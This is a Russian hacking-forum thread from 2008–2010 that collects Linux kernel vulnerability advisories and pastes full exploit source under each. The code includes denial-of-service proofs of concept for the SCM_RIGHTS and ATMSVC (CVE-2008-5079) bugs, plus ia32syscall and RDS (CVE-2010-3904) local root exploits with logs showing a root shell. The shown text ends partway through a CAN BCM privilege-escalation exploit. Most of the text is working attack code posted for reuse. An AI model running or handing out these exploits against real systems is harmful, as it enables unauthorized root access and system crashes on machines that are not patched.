Уязвимости в ядре Linux

Тема в разделе "Exploits |:| Vulnerabilities", создана пользователем NetSky, 13 ноя 2008.

  1. NetSky
    NetSky Guest
    05 ноября, 2008

    Программа: Linux kernel версии до 2.6.28-rc1

    Опасность: Низкая

    Наличие эксплоита: Да

    Описание:
    Обнаруженные уязвимости позволяют локальному пользователю произвести DoS атаку.

    1. Уязвимость существует из-за недостаточной проверки длины имени каталога в функции "hfsplus_find_cat()" в файле fs/hfsplus/catalog.c. Злоумышленник может смонтировать специально сформированную hfsplus файловую систему и вызвать аварийно завершить работу системы.

    2. Уязвимость существует из-за того, что функция "hfsplus_block_allocate()" в файле fs/hfsplus/bitmap.c недостаточно проверяет возвращаемые значения функции "read_mapping_page()". Локальный пользователь может с помощью специально сформированной hfsplus файловой системы аварийно завершить работу системы.

    3. Уязвимость существует из-за ошибки при косвенной рекурсии в функции "__scm_destroy()" в файле net/core/scm.c. Локальный пользователь может с помощью определенных операций с UNIX сокетом аварийно завершить работу системы.

    4. Уязвимость существует из-за ошибки проверки границ данных в функции "lbs_process_bss()" в файле drivers/net/wireless/libertas/scan.c при обработке определенных beacon или probe ответов. Удаленный пользователь может вызвать переполнение буфера. Для успешной эксплуатации уязвимости должен использоваться Marvel 8xxx Libertas WLAN драйвер.

    URL производителя: _www.kernel.org

    Решение: Установите последнюю версию ядра 2.6.27.5 с сайта производителя. Уязвимости #3-4 исправлены в версиях 2.6.25.20 и 2.6.26.8.


    |::Exploit::|

    Код:
    #include <sys/socket.h>
    #include <sys/un.h>
    #include <unistd.h>
    #include <assert.h>
    #include <err.h>
    #include <stdlib.h>
    
    static int own_child(int *us)
    {
            int pid;
            int s[2];
            struct msghdr mh;
            char crap[1024];
            struct iovec iov;
            struct cmsghdr *c;
            int *fd;
            int rc;
    
            pid = fork();
            if (pid == -1)
                    err(1, "fork()");
    
            if (pid) {
                  close(us[1]);
    
                    return pid;
            }
    
            close(us[0]);
    
            memset(&mh, 0, sizeof(mh));
            iov.iov_base = "a";
            iov.iov_len  = 1;
    
            mh.msg_iov        = &iov;
            mh.msg_iovlen     = 1;
            mh.msg_control    = crap;
            mh.msg_controllen = sizeof(crap);
    
            c = CMSG_FIRSTHDR(&mh);
            assert(c);
    
            c->cmsg_level = SOL_SOCKET;
            c->cmsg_type  = SCM_RIGHTS;
    
            fd = (int*) CMSG_DATA(c);
            assert(fd);
    
            c->cmsg_len = CMSG_LEN(sizeof(int));
            mh.msg_controllen = c->cmsg_len;
    
            while (1) {
                    if (socketpair(PF_UNIX, SOCK_STREAM, 0, s) == -1)
                            err(1, "socketpair()");
    
                    *fd = s[0];
    
                    rc = sendmsg(us[1], &mh, 0);
                    if (rc == -1)
                            err(1, "sendmsg()");
    
                    if (rc != iov.iov_len)
                            errx(1, "sent short");
    
                    close(s[0]);
                    close(us[1]);
                    us[1] = s[1];
            }
    }
    
    static void own(void)
    {      
            static int pid;
            static int us[2];
            char crap[1024];
            char morte[1024];
            struct cmsghdr *c;
            int rc;
            struct msghdr mh;
            struct iovec iov;
            int *fds;
    
            if (!pid) {
                    if (socketpair(PF_UNIX, SOCK_STREAM, 0, us) == -1)
                            err(1, "socketpair()");
                    pid = own_child(us);
            }
    
            iov.iov_base = morte;
            iov.iov_len  = sizeof(morte);
    
            memset(&mh, 0, sizeof(mh));
            mh.msg_iov        = &iov;
            mh.msg_iovlen     = 1;
            mh.msg_control    = crap;
            mh.msg_controllen = sizeof(crap);
    
            rc = recvmsg(us[0], &mh, 0);
            if (rc == -1)
                    err(1, "recvmsg()");
    
            if (rc == 0)
                    errx(1, "EOF");
    
            c = CMSG_FIRSTHDR(&mh);
            assert(c);
            assert(c->cmsg_type == SCM_RIGHTS);
    
            fds = (int*) CMSG_DATA(c);
            assert(fds);
    
            close(us[0]);
            us[0] = *fds;
    }
    
    int main(int argc, char *argv[])
    {
        own();
        exit(0);
    }



    (c) _www.securitylab.ru
    Оригинал​
     
    13 ноя 2008
  2. NetSky
    NetSky Guest
    Отказ в обслуживании в ядре Linux

    10 декабря, 2008

    Программа: Linux kernel 2.6.27.8 и более ранние версии.

    Опасность: Низкая

    Наличие эксплоита: Да

    Описание:
    Уязвимость позволяет локальному пользователю вызвать отказ в обслуживании.

    Уязвимость существует из-за того, что функция "svc_listen()" в файле net/atm/svc.c позволяет пользователям создавать неприсвоенные PVC/SVC записи путем многократного вызова функции для сокета. Локальный пользователь может с помощью функции "__vcc_walk()" файла net/atm/proc.c создать неприсвоенные записи и, затем, прочитать содержимое /proc/net/atm/vc и вызвать зацикливание.

    URL производителя: _www.kernel.org

    Решение: Установите исправление из GIT репозитория производителя.


    |::Exploit::|

    Код:
    /*                      
    Linux Kernel 2.6.27.7-generic - 2.6.18 - 2.6.24-1 Dos Exploit
    ariginal idéé : Jon Oberheide łł
    http://www.milw0rm.com/exploits/7405
    tested : 2.6.27.7-generic - 2.6.18 - 2.6.24-1                       
    by :  ADU-T                                                         
    patching :
    http://marc.info/?l=linux-netdev&m=122841256115780&w=2   
    */
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <fcntl.h>
    #include <linux/atm.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/stat.h> 
                          
    #define NUM_CPUS 8    
    #define ATM "/proc/net/atm/avc"
                                  
    int                           
    main(void)                    
    {                             
        char *err, adurit[2000];  
        int i, ret, sock, proc;   
        struct atm_qos dj;        
        struct sockaddr_atmsvc addr;
                                   
                                   
                                   
        sock = socket(PF_ATMSVC, SOCK_DGRAM, 0);
                                               
                                               
        memset(&dj, 0, sizeof(dj));            
        dj.rxtp.traffic_class = ATM_UBR;       
        dj.txtp.traffic_class = ATM_UBR;       
        dj.aal = ATM_NO_AAL;                   
                                               
    
        ret = setsockopt(sock, SOL_ATM, SO_ATMQOS, &dj, sizeof(dj));
        if (ret == -1) {
            printf("failed !\n");
            return 1;
        }
        memset(&addr, 0, sizeof(addr));
        addr.sas_family = AF_ATMSVC;
    
        bind(sock, (struct sockaddr *) &addr, sizeof(addr));
    
        listen(sock, 10);
        listen(sock, 10);
    
        for (i = 1; i < NUM_CPUS; ++i) {
            if (fork() != 0) {
                break;
            }
        }
        proc = open(ATM, O_RDONLY);
        ret = read(proc, &adurit, 2000);
        close(proc);
    
        return 0;
    }
    Код:
    /*
    * cve-2008-5079.c
    *
    * Linux Kernel <= 2.6.27.8 ATMSVC local DoS
    * Jon Oberheide <jon@oberheide.org>
    *
    * http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5079:
    *
    *   net/atm/svc.c in the ATM subsystem in the Linux kernel 2.6.27.8
    *   and earlier allows local users to cause a denial of service  
    *   (kernel infinite loop) by making two calls to svc_listen for the
    *   same socket, and then reading a /proc/net/atm/*vc file, related  
    *   to corruption of the vcc table.  
    *
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <fcntl.h>
    #include <errno.h>
    #include <linux/atm.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/stat.h>
    
    #define NR_CPUS 8
    #define PROC_ATM "/proc/net/atm/pvc"
    
    int
    main(void)
    {
        char *err, dummy[1024];
        int i, ret, sock, proc;
        struct atm_qos qos;
        struct sockaddr_atmsvc addr;
    
        printf("[+] creating ATM socket...\n");
    
        sock = socket(PF_ATMSVC, SOCK_DGRAM, 0);
        if (sock < 0) {
            err = "socket(2) for type PF_ATMSVC failed";
            printf("[-] PoC error: %s (%s)\n", err, strerror(errno));
            return 1;
        }
    
        memset(&qos, 0, sizeof(qos));
        qos.rxtp.traffic_class = ATM_UBR;
        qos.txtp.traffic_class = ATM_UBR;
        qos.aal = ATM_NO_AAL;
    
        printf("[+] setting socket QoS options...\n");
    
        ret = setsockopt(sock, SOL_ATM, SO_ATMQOS, &qos, sizeof(qos));
        if (ret == -1) {
            err = "setsockopt(2) for option SO_ATMQOS failed";
            printf("[-] PoC error: %s (%s)\n", err, strerror(errno));
            return 1;
        }
    
        memset(&addr, 0, sizeof(addr));
        addr.sas_family = AF_ATMSVC;
    
        printf("[+] binding socket...\n");
    
        bind(sock, (struct sockaddr *) &addr, sizeof(addr));
    
        printf("[+] socket listen...\n");
    
        listen(sock, 10);
    
        printf("[+] duplicate socket listen...\n");
    
        listen(sock, 10);
    
        printf("[+] attempting local DoS...\n");
    
        for (i = 0; i < NR_CPUS; ++i) {
            if (fork() != 0) {
                break;
            }
        }
    
        proc = open(PROC_ATM, O_RDONLY);
        if (proc == -1) {
            err = "opening " PROC_ATM " failed";
            printf("[-] PoC error: %s (%s)\n", err, strerror(errno));
            return 1;
        }
        ret = read(proc, &dummy, 1024);
        close(proc);
        
        printf("[-] Local DoS failed.\n");
    
        return 0;
    }


     
    16 дек 2008
  3. onthar
    onthar Продвинутый
    Симпатии:
    224
    Разыменование нулевого указателя в fs/pipe.c в ядре Linux

    04 ноября, 2009

    Программа: Linux kernel версии до 2.6.32-rc6

    Опасность:
    Низкая

    Наличие эксплоита:
    Да

    Описание:

    Уязвимость позволяет локальному пользователю вызвать отказ в обслуживании и повысить свои привилегии на системе.
    Уязвимость существует из-за ошибки блокирования в функциях pipe_rdwr_open(), pipe_write_open(), и pipe_read_open() в файле fs/pipe.c. Локальный пользователь может с помощью определенных операций над каналом вызвать разыменование нулевого указателя и повысить свои привилегии на системе.

    URL производителя:
    www.kernel.org

    Решение:
    Установите последнюю версию 2.6.32-rc6 с сайта производителя

    securitylab.ru

    Эксплойт
     
    5 ноя 2009
  4. onthar
    onthar Продвинутый
    Симпатии:
    224
    Множественные уязвимости в ядре Linux до 2.6.32

    07 декабря, 2009

    Программа: Linux kernel версии до 2.6.32

    Опасность: Низкая

    Описание:
    Обнаруженные уязвимости позволяют удаленному пользователю вызвать отказ в обслуживании и повысить свои привилегии на системе.

    1. Уязвимость существует из-за ошибки в функции kvm_vcpu_ioctl_x86_setup_mce() в файле arch/x86/kvm/x86.c. Локальный пользователь может с помощью специально сформированного KVM_X86_SETUP_MCE IOCTL запроса вызвать повреждение памяти и выполнить произвольный код на системе с повышенными привилегиями.

    2. Уязвимость существует из-за ошибки в функции ieee80211_sta_stop_rx_ba_session() в файле net/mac80211/agg-rx.c. Удаленный пользователь может вызвать отказ в обслуживании системы.

    3. Уязвимость существует из-за ошибки состояния операции в подсистеме mac80211 при обработке delBA фреймов. Злоумышленник может вызвать панику ядра системы. Уязвимость распространяется только на HT драйвера.

    URL производителя: www.kernel.org

    Решение: Установите последнюю версию 2.6.32 с сайта производителя.

     
    9 дек 2009
    1 человеку нравится это.
  5. onthar
    onthar Продвинутый
    Симпатии:
    224
    Local root exploit for the x86_64 Linux kernel ia32syscall emulation vulnerability.

    Код:
    /*
     * exploit for x86_64 linux kernel ia32syscall emulation (again)
     *	rediscovered by ben hawkes
     *	with help from robert swiecki and tavis ormandy
     *
     * original vulnerability discovered by Wojciech Purczynski
     *
     * original exploit by
     * 	Robert Swiecki <robert_at_swiecki.net>
     * 	Przemyslaw Frasunek <venglin_at_freebsd.lublin.pl>
     * 	Pawel Pisarczyk <pawel_at_immos.com.pl>
     * 
     * kernel priv escalation code borrowed from spender
     *
     */
     
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <sys/ptrace.h>
    #include <inttypes.h>
    #include <sys/reg.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/mman.h>
    #include <string.h>
    
    typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
    typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
    _commit_creds commit_creds;
    _prepare_kernel_cred prepare_kernel_cred;
    
    int kernelmodecode(void *file, void *vma)
    {
    	commit_creds(prepare_kernel_cred(0));
    	return -1;
    }
    
    unsigned long
    get_symbol(char *name)
    {
    	FILE *f;
    	unsigned long addr;
    	char dummy;
    	char sname[512];
    	int ret = 0, oldstyle = 0;
    
    	f = fopen("/proc/kallsyms", "r");
    	if (f == NULL) {
    		f = fopen("/proc/ksyms", "r");
    		if (f == NULL)
    			return 0;
    		oldstyle = 1;
    	}
    
    	while (ret != EOF) {
    		if (!oldstyle) {
    			ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
    		} else {
    			ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
    			if (ret == 2) {
    				char *p;
    				if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
    					continue;
    				}
    				p = strrchr(sname, '_');
    				if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
    					p = p - 4;
    					while (p > (char *)sname && *(p - 1) == '_') {
    						p--;
    					}
    					*p = '\0';
    				}
    			}
    		}
    		if (ret == 0) {
    			fscanf(f, "%s\n", sname);
    			continue;
    		}
    		if (!strcmp(name, sname)) {
    			printf("resolved symbol %s to %p\n", name, (void *) addr);
    			fclose(f);
    			return addr;
    		}
    	}
    	fclose(f);
    
    	return 0;
    }
    
     
    static void docall(uint64_t *ptr, uint64_t size)
    {
    	commit_creds = (_commit_creds) get_symbol("commit_creds");
    	if (!commit_creds) {
    		printf("symbol table not available, aborting!\n");
    		exit(1);
    	}
    
    	prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
    	if (!prepare_kernel_cred) {
    		printf("symbol table not available, aborting!\n");
    		exit(1);
    	}
    
            uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);
    
    	printf("mapping at %lx\n", tmp); 
    
            if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
                    MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
                    printf("mmap fault\n");
                    exit(1);
            }
     
            for (; (uint64_t) ptr < (tmp + size); ptr++)
                    *ptr = (uint64_t)kernelmodecode;
     
            __asm__("\n"
            "\tmovq $0x101, %rax\n"
            "\tint $0x80\n");
     
            printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());
            execl("/bin/sh", "bin/sh", NULL);
            printf("no /bin/sh ??\n");
            exit(0);
    }
     
    int main(int argc, char **argv)
    {
            int pid, status, set = 0;
            uint64_t rax;
            uint64_t kern_s = 0xffffffff80000000;
            uint64_t kern_e = 0xffffffff84000000;
            uint64_t off = 0x0000000800000101 * 8;
     
            if (argc == 4) {
                    docall((uint64_t*)(kern_s + off), kern_e - kern_s);
                    exit(0);
            }
     
            if ((pid = fork()) == 0) {
                    ptrace(PTRACE_TRACEME, 0, 0, 0);
                    execl(argv[0], argv[0], "2", "3", "4", NULL);
                    perror("exec fault");
                    exit(1);
            }
     
            if (pid == -1) {
                    printf("fork fault\n");
                    exit(1);
            }
     
            for (;;) {
                    if (wait(&status) != pid)
                            continue;
     
                    if (WIFEXITED(status)) {
                            printf("Process finished\n");
                            break;
                    }
     
                    if (!WIFSTOPPED(status))
                            continue;
     
                    if (WSTOPSIG(status) != SIGTRAP) {
                            printf("Process received signal: %d\n", WSTOPSIG(status));
                            break;
                    }
     
                    rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
                    if (rax == 0x000000000101) {
                            if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
                                    printf("PTRACE_POKEUSER fault\n");
                                    exit(1);
                            }
                            set = 1;
                    	//rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
                    }
     
                    if ((rax == 11) && set) {
                            ptrace(PTRACE_DETACH, pid, 0, 0);
                            for(;;)
                                    sleep(10000);
                    }
     
                    if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
                            printf("PTRACE_SYSCALL fault\n");
                            exit(1);
                    }
            }
     
            return 0;
    }
    Описание: http://www.opennet.ru/opennews/art.shtml?num=27979
    Сплоит: http://packetstormsecurity.org/0709-exploits/linux-syscall.txt
    Целевая система: x86_64 Linux 2.6.27+ до 2.6.33.2. возможно выше.
    Последнее изменение в сплойте: Sep 15 20:04:42 2010
    Пример работы:
    Код:
    onthar@desktop:~/exp$ gcc robert_you_suck.c
    onthar@desktop:~/exp$ ./a.out
    resolved symbol commit_creds to 0xffffffff8108bd90
    resolved symbol prepare_kernel_cred to 0xffffffff8108c170
    mapping at 3f80000000
    UID 0, EUID:0 GID:0, EGID:0
    # id
    uid=0(root) gid=0(root)
    #
     
    9 ноя 2010
  6. onthar
    onthar Продвинутый
    Симпатии:
    224
    Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit

    Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit
    Источник: http://www.vsecurity.com/resources/advisory/20101019-1/
    Код:
    /*  
     * Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit 
     * CVE-2010-3904 
     * by Dan Rosenberg <drosenberg@vsecurity.com> 
     * 
     * Copyright 2010 Virtual Security Research, LLC 
     * 
     * The handling functions for sending and receiving RDS messages 
     * use unchecked __copy_*_user_inatomic functions without any 
     * access checks on user-provided pointers.  As a result, by 
     * passing a kernel address as an iovec base address in recvmsg-style 
     * calls, a local user can overwrite arbitrary kernel memory, which 
     * can easily be used to escalate privileges to root.  Alternatively, 
     * an arbitrary kernel read can be performed via sendmsg calls. 
     * 
     * This exploit is simple - it resolves a few kernel symbols, 
     * sets the security_ops to the default structure, then overwrites 
     * a function pointer (ptrace_traceme) in that structure to point 
     * to the payload.  After triggering the payload, the original 
     * value is restored.  Hard-coding the offset of this function 
     * pointer is a bit inelegant, but I wanted to keep it simple and 
     * architecture-independent (i.e. no inline assembly). 
     * 
     * The vulnerability is yet another example of why you shouldn't 
     * allow loading of random packet families unless you actually 
     * need them. 
     * 
     * Greets to spender, kees, taviso, hawkes, team lollerskaters, 
     * joberheide, bla, sts, and VSR 
     * 
     */
      
      
    #include <stdio.h> 
    #include <unistd.h> 
    #include <stdlib.h> 
    #include <fcntl.h> 
    #include <sys/types.h> 
    #include <sys/socket.h> 
    #include <netinet/in.h> 
    #include <errno.h> 
    #include <string.h> 
    #include <sys/ptrace.h> 
    #include <sys/utsname.h> 
      
    #define RECVPORT 5555  
    #define SENDPORT 6666 
      
    int prep_sock(int port) 
    { 
          
        int s, ret; 
        struct sockaddr_in addr; 
      
        s = socket(PF_RDS, SOCK_SEQPACKET, 0); 
      
        if(s < 0) { 
            printf("[*] Could not open socket.\n"); 
            exit(-1); 
        } 
          
        memset(&addr, 0, sizeof(addr)); 
      
        addr.sin_addr.s_addr = inet_addr("127.0.0.1"); 
        addr.sin_family = AF_INET; 
        addr.sin_port = htons(port); 
      
        ret = bind(s, (struct sockaddr *)&addr, sizeof(addr)); 
      
        if(ret < 0) { 
            printf("[*] Could not bind socket.\n"); 
            exit(-1); 
        } 
      
        return s; 
      
    } 
      
    void get_message(unsigned long address, int sock) 
    { 
      
        recvfrom(sock, (void *)address, sizeof(void *), 0, 
             NULL, NULL); 
      
    } 
      
    void send_message(unsigned long value, int sock) 
    { 
          
        int size, ret; 
        struct sockaddr_in recvaddr; 
        struct msghdr msg; 
        struct iovec iov; 
        unsigned long buf; 
          
        memset(&recvaddr, 0, sizeof(recvaddr)); 
      
        size = sizeof(recvaddr); 
      
        recvaddr.sin_port = htons(RECVPORT); 
        recvaddr.sin_family = AF_INET; 
        recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 
      
        memset(&msg, 0, sizeof(msg)); 
          
        msg.msg_name = &recvaddr; 
        msg.msg_namelen = sizeof(recvaddr); 
        msg.msg_iovlen = 1; 
          
        buf = value; 
      
        iov.iov_len = sizeof(buf); 
        iov.iov_base = &buf; 
      
        msg.msg_iov = &iov; 
      
        ret = sendmsg(sock, &msg, 0); 
        if(ret < 0) { 
            printf("[*] Something went wrong sending.\n"); 
            exit(-1); 
        } 
    } 
      
    void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock) 
    { 
      
        if(!fork()) { 
                sleep(1); 
                send_message(value, sendsock); 
                exit(1); 
        } 
        else { 
            get_message(addr, recvsock); 
            wait(NULL); 
        } 
      
    } 
      
    typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 
    typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 
    _commit_creds commit_creds; 
    _prepare_kernel_cred prepare_kernel_cred; 
      
    int __attribute__((regparm(3))) 
    getroot(void * file, void * vma) 
    { 
      
        commit_creds(prepare_kernel_cred(0)); 
        return -1;   
      
    } 
      
    /* thanks spender... */
    unsigned long get_kernel_sym(char *name) 
    { 
        FILE *f; 
        unsigned long addr; 
        char dummy; 
        char sname[512]; 
        struct utsname ver; 
        int ret; 
        int rep = 0; 
        int oldstyle = 0; 
      
        f = fopen("/proc/kallsyms", "r"); 
        if (f == NULL) { 
            f = fopen("/proc/ksyms", "r"); 
            if (f == NULL) 
                goto fallback; 
            oldstyle = 1; 
        } 
      
    repeat: 
        ret = 0; 
        while(ret != EOF) { 
            if (!oldstyle) 
                ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); 
            else { 
                ret = fscanf(f, "%p %s\n", (void **)&addr, sname); 
                if (ret == 2) { 
                    char *p; 
                    if (strstr(sname, "_O/") || strstr(sname, "_S.")) 
                        continue; 
                    p = strrchr(sname, '_'); 
                    if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { 
                        p = p - 4; 
                        while (p > (char *)sname && *(p - 1) == '_') 
                            p--; 
                        *p = '\0'; 
                    } 
                } 
            } 
            if (ret == 0) { 
                fscanf(f, "%s\n", sname); 
                continue; 
            } 
            if (!strcmp(name, sname)) { 
                fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : ""); 
                fclose(f); 
                return addr; 
            } 
        } 
      
        fclose(f); 
        if (rep) 
            return 0; 
    fallback: 
        /* didn't find the symbol, let's retry with the System.map 
           dedicated to the pointlessness of Russell Coker's SELinux 
           test machine (why does he keep upgrading the kernel if 
           "all necessary security can be provided by SE Linux"?) 
        */
        uname(&ver); 
        if (strncmp(ver.release, "2.6", 3)) 
            oldstyle = 1; 
        sprintf(sname, "/boot/System.map-%s", ver.release); 
        f = fopen(sname, "r"); 
        if (f == NULL) 
            return 0; 
        rep = 1; 
        goto repeat; 
    } 
      
    int main(int argc, char * argv[]) 
    { 
        unsigned long sec_ops, def_ops, cap_ptrace, target; 
        int sendsock, recvsock; 
        struct utsname ver; 
      
        printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n"); 
        printf("[*] by Dan Rosenberg\n"); 
      
        uname(&ver); 
      
        if(strncmp(ver.release, "2.6.3", 5)) { 
            printf("[*] Your kernel is not vulnerable.\n"); 
            return -1; 
        }    
      
        /* Resolve addresses of relevant symbols */
        printf("[*] Resolving kernel addresses...\n"); 
        sec_ops = get_kernel_sym("security_ops"); 
        def_ops = get_kernel_sym("default_security_ops"); 
        cap_ptrace = get_kernel_sym("cap_ptrace_traceme"); 
        commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); 
        prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); 
      
        if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) { 
            printf("[*] Failed to resolve kernel symbols.\n"); 
            return -1; 
        } 
      
        /* Calculate target */
        target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1)); 
      
        sendsock = prep_sock(SENDPORT); 
        recvsock = prep_sock(RECVPORT); 
      
        /* Reset security ops */
        printf("[*] Overwriting security ops...\n"); 
        write_to_mem(sec_ops, def_ops, sendsock, recvsock); 
      
        /* Overwrite ptrace_traceme security op fptr */
        printf("[*] Overwriting function pointer...\n"); 
        write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock); 
      
        /* Trigger the payload */
        printf("[*] Triggering payload...\n"); 
        ptrace(PTRACE_TRACEME, 1, NULL, NULL); 
          
        /* Restore the ptrace_traceme security op */
        printf("[*] Restoring function pointer...\n"); 
        write_to_mem(target, cap_ptrace, sendsock, recvsock); 
      
        if(getuid()) { 
            printf("[*] Exploit failed to get root.\n"); 
            return -1; 
        } 
      
        printf("[*] Got root!\n"); 
        execl("/bin/sh", "sh", NULL); 
      
    }
    Код:
    asddas@nb:~/temp$ uname -a
    Linux nb 2.6.31-21-generic #59-Ubuntu SMP Wed Mar 24 07:28:56 UTC 2010 i686 GNU/Linux
    asddas@nb:~/temp$ gcc 1.c -o 123a
    asddas@nb:~/temp$ ./123a
    [*] Linux kernel >= 2.6.30 RDS socket exploit
    [*] by Dan Rosenberg
    [*] Resolving kernel addresses...
    [+] Resolved security_ops to 0xc089c1e8
    [+] Resolved default_security_ops to 0xc075b280
    [+] Resolved cap_ptrace_traceme to 0xc02cc230
    [+] Resolved commit_creds to 0xc01625a0
    [+] Resolved prepare_kernel_cred to 0xc01627a0
    [*] Overwriting security ops...
    [*] Overwriting function pointer...
    [*] Triggering payload...
    [*] Restoring function pointer...
    [*] Got root!
    # id
    uid=0(root) gid=0(root)
    Взял с rdot.org​
     
    9 ноя 2010
  7. onthar
    onthar Продвинутый
    Симпатии:
    224
    Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit

    Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit
    Сплойт направлен на повышение привелегий только в 32-bit Ubuntu Lucid 10.04 (2.6.32-21-generic), но может быть легко поправлен под другой дистрибьютив.

    Код:
    * Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit 
    * Jon Oberheide <jon@oberheide.org> 
    * http://jon.oberheide.org
    Код:
    /*
     * i-CAN-haz-MODHARDEN.c
     *
     * Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit
     * Jon Oberheide <jon@oberheide.org>
     * http://jon.oberheide.org
     * 
     * Information:
     *
     *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2959
     *
     *   Ben Hawkes discovered an integer overflow in the Controller Area Network
     *   (CAN) subsystem when setting up frame content and filtering certain 
     *   messages. An attacker could send specially crafted CAN traffic to crash 
     *   the system or gain root privileges. 
     *
     * Usage:
     *
     *   $ gcc i-can-haz-modharden.c -o i-can-haz-modharden
     *   $ ./i-can-haz-modharden
     *   ...
     *   [+] launching root shell!
     *   # id
     *   uid=0(root) gid=0(root)
     *
     * Notes:
     *
     *   The allocation pattern of the CAN BCM module gives us some desirable 
     *   properties for smashing the SLUB. We control the kmalloc with a 16-byte
     *   granularity allowing us to place our allocation in the SLUB cache of our
     *   choosing (we'll use kmalloc-96 and smash a shmid_kernel struct for 
     *   old-times sake). The allocation can also be made in its own discrete 
     *   stage before the overwrite which allows us to be a bit more conservative 
     *   in ensuring the proper layout of our SLUB cache.
     *
     *   To exploit the vulnerability, we first create a BCM RX op with a crafted 
     *   nframes to trigger the integer overflow during the kmalloc. On the second
     *   call to update the existing RX op, we bypass the E2BIG check since the 
     *   stored nframes in the op is large, yet has an insufficiently sized 
     *   allocation associated with it. We then have a controlled write into the 
     *   adjacent shmid_kernel object in the 96-byte SLUB cache.
     *
     *   However, while we control the length of the SLUB overwrite via a 
     *   memcpy_fromiovec operation, there exists a memset operation that directly 
     *   follows which zeros out last_frames, likely an adjacent allocation, with 
     *   the same malformed length, effectively nullifying our shmid smash. To 
     *   work around this, we take advantage of the fact that copy_from_user can
     *   perform partial writes on x86 and trigger an EFAULT by setting up a 
     *   truncated memory mapping as the source for the memcpy_fromiovec operation,
     *   allowing us to smash the necessary amount of memory and then pop out and 
     *   return early before the memset operation occurs.
     *
     *   We then perform a dry-run and detect the shmid smash via an EIDRM errno 
     *   from shmat() caused by an invalid ipc_perm sequence number. Once we're 
     *   sure we have a shmid_kernel under our control we re-smash it with the 
     *   malformed version and redirect control flow to our credential modifying
     *   calls mapped in user space.
     *
     *   Distros: please use grsecurity's MODHARDEN or SELinux's module_request 
     *   to restrict unprivileged loading of uncommon packet families. Allowing
     *   the loading of poorly-written PF modules just adds a non-trivial and 
     *   unnecessary attack surface to the kernel. 
     *
     *   Targeted for 32-bit Ubuntu Lucid 10.04 (2.6.32-21-generic), but ports 
     *   easily to other vulnerable kernels/distros. Careful, it could use some 
     *   post-exploitation stability love as well.
     *
     *   Props to twiz, sgrakkyu, spender, qaaz, and anyone else I missed that 
     *   this exploit borrows code from.
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    #include <string.h>
    #include <unistd.h>
    #include <errno.h>
    #include <fcntl.h>
    #include <limits.h>
    #include <inttypes.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/ipc.h>
    #include <sys/shm.h>
    #include <sys/mman.h>
    #include <sys/stat.h>
    
    #define SLUB "kmalloc-96"
    #define ALLOCATION 96
    #define FILLER 100
    
    #ifndef PF_CAN
    #define PF_CAN 29
    #endif
    
    #ifndef CAN_BCM
    #define CAN_BCM 2
    #endif
    
    struct sockaddr_can {
    	sa_family_t can_family;
    	int can_ifindex;
    	union {
    		struct { uint32_t rx_id, tx_id; } tp;
    	} can_addr;
    };
    
    struct can_frame {
    	uint32_t can_id;
    	uint8_t can_dlc;
    	uint8_t data[8] __attribute__((aligned(8)));
    };
    
    struct bcm_msg_head {
    	uint32_t opcode;
    	uint32_t flags;
    	uint32_t count;
    	struct timeval ival1, ival2;
    	uint32_t can_id;
    	uint32_t nframes;
    	struct can_frame frames[0];
    };
    
    #define RX_SETUP 5
    #define RX_DELETE 6
    #define CFSIZ sizeof(struct can_frame)
    #define MHSIZ sizeof(struct bcm_msg_head)
    #define IPCMNI 32768
    #define	EIDRM 43
    #define HDRLEN_KMALLOC 8
    
    struct list_head {
    	struct list_head *next;
    	struct list_head *prev;
    };
    
    struct super_block {
    	struct list_head s_list;
    	unsigned int s_dev;
